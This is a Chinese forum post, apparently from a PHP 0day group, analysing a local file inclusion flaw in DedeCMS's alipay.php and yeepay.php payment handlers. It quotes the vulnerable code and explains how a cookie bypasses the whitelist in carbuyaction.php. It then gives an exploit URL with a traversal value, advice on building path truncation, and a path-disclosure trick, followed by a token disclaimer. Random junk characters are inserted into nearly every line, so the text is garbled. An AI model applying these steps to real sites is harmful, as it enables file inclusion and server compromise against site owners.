晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)* Q9 k( p6 P$ f0 Q
' _6 z7 i& m/ G% {0 p出现漏洞的两个文件为:
- A7 W% y2 h/ P7 _5 cInclude/payment/alipay.php
/ }+ m& \7 l9 i+ {8 W! JInclude/payment/yeepay.php# f' K; C; `/ p3 _" r4 b
漏洞均出现在respond方法里,估计这两个文件是临时工写的。
, {6 f: E2 @* B' i& d6 X( t" {7 l8 O4 m0 k/ C% z5 ^( `6 w
Include/payment/alipay.php' R* Z, J2 u0 T& j6 L2 |' p, a
- F. T6 B0 V" M( D, W......
& X- ^7 K# U" k2 d, A$ A% O2 S function respond()/ O9 F8 ^7 _! V1 s( ~! S# L
{
1 K l3 E+ F( J/ k; |. V if (!empty($_POST))* v' U) K( `; l
{
1 S$ S6 R1 x2 q8 ]0 |1 y; _5 w& T. I foreach($_POST as $key => $data)5 z4 l$ I' n+ \6 ]4 c
{- A {+ s, ?; e- ^
$_GET[$key] = $data;
5 t/ o: W: C) o }6 O6 E8 o7 Q% D8 a4 p, ]
}
0 u% A1 x- N( e; N; Q" [ /* 引入配置文件 */
1 R' o$ L* b3 j5 {9 O require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';4 I( X3 q- L8 @# I
......
: C+ r) a( F% }( d8 {3 _
+ G4 T1 z" W# X" q: X, F0 s
3 A+ {8 x$ N+ }8 Q: v大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
8 L' @7 Y j1 |5 t! d7 M0 q- w' ]: i5 p' L5 R
Include/payment/yeepay.php
: y+ n# V+ j( C
0 Y/ P" M+ V F2 W1 h1 \4 _) t( @
8 f7 ^$ G1 S- N5 a, ^5 ^: W- Y" }
......1 G& l! D& q! Y% ]! @
function respond()' E, S% Y5 x# N$ y% a8 ]! x1 X( g
{
0 O- `- _- `+ X/ u9 j. I; r% R4 p' q ( \, E5 N" P* Q2 P: K+ I
/* 引入配置文件 */
0 L1 [" C% y8 J2 Y8 G4 y. b: ] require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
! B/ u8 T. g* B- A $ r5 D: {/ s5 t1 V3 m
$p1_MerId = trim($payment['yp_account']);
5 B- I8 e) d0 \6 Q. R. N( r: x' U; a $merchantKey = trim($payment['yp_key']);
: u i* g Q. h6 ^) }. U...... . @& I( |0 M' G; ~/ p
7 f+ e& d- Y2 H* Q4 M0 G2 c* b! m
9 {( Z* ]: \+ M- g# s. O # A8 U, ~" s7 C) w
/ o4 i, N; v% ]
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。& o# T( }5 V% s: Z1 q3 U: p
# K1 j! @7 f/ ?" ^" t; Z这两个方法在plus/carbuyaction.php文件调用。
; Y" y& w- ]( ~4 c7 Z4 `3 U1 }7 L1 f
plus/carbuyaction.php. b1 M9 M9 X- C2 @* d1 ~* I
+ @. {5 }# l0 o% Q: `
......3 a- ~# s0 E; P8 \# U; b* X8 K% q
} else if ($dopost == 'return') {3 _- v1 p- p( B' Q" _' a( |
$write_list = array('alipay', 'bank', 'cod', 'yeepay');
6 w4 Z% K0 p) e1 U- g E7 A8 J: t if (in_array($code, $write_list))" R4 W$ Y3 @ T( ~) f/ c
{: g& v, V* n# _+ r0 h
require_once DEDEINC.'/payment/'.$code.'.php';
3 Q' G0 d+ p- Y$ y3 S- p; U0 y/ H# h $pay = new $code;
' w2 p( Y2 H( C( j $msg=$pay->respond();( x' K3 |) B3 _5 t( _
ShowMsg($msg, "javascript:;", 0, 3000);
& X3 A# r q# `) r: J exit(); 7 n9 R: N& S6 ]4 R3 G7 {9 O
} else {8 o9 H2 Z A+ ]1 y, s) b% |3 G
exit('Error:File Type Can\'t Recognized!');! t8 a: k: [5 v5 `. X0 R
}! W1 f$ K" Z* `! y) |9 u1 U0 E
}5 A$ G1 I& @& G* U% N, j
...... $ U' m8 T# X/ J8 E% S
9 J7 L3 v) {/ y. y
* k. F6 t! `1 x) i
: ?4 h8 y7 }- y# ?; @
: G- }8 v( n, X" f( r, I% N
( x2 R0 n' x. K7 ]$ Z7 |( s+ Q y+ u" U! H: X6 D
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
" V, _* R' G- t( d6 j! {; v所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
6 H- W7 W$ K b: z+ @. g5 m1 _* s: t
回到include/common.inc.php来看看他的机制。
. f. X; C0 }& d1 }+ R9 N( ^& f9 u8 N5 R
- v6 `3 d4 o9 W) C4 ?1 P
, E9 [& _+ d" ~- G9 T: a
......9 |) W0 I+ v& m4 b8 a
foreach(Array('_GET','_POST','_COOKIE') as $_request)1 b* \. T# Z7 R
{, [, K6 \/ ~5 C# V& I' s( O
foreach($$_request as $_k => $_v)
- K* {* W1 S9 Y6 C i& @& ` {# t& u& A- L- F% o
if($_k == 'nvarname') ${$_k} = $_v;
7 _% O7 A8 H4 c d& ? else ${$_k} = _RunMagicQuotes($_v);) K. ^) R3 P0 N8 b! W( |( B
}$ K: E, i y( v& I) A& X
}$ g% L- L/ |5 s/ w9 c1 H
......
# O+ Y6 G9 z* \- F+ H3 `, L' X大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
/ a; G; ?, R% o. R* G由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |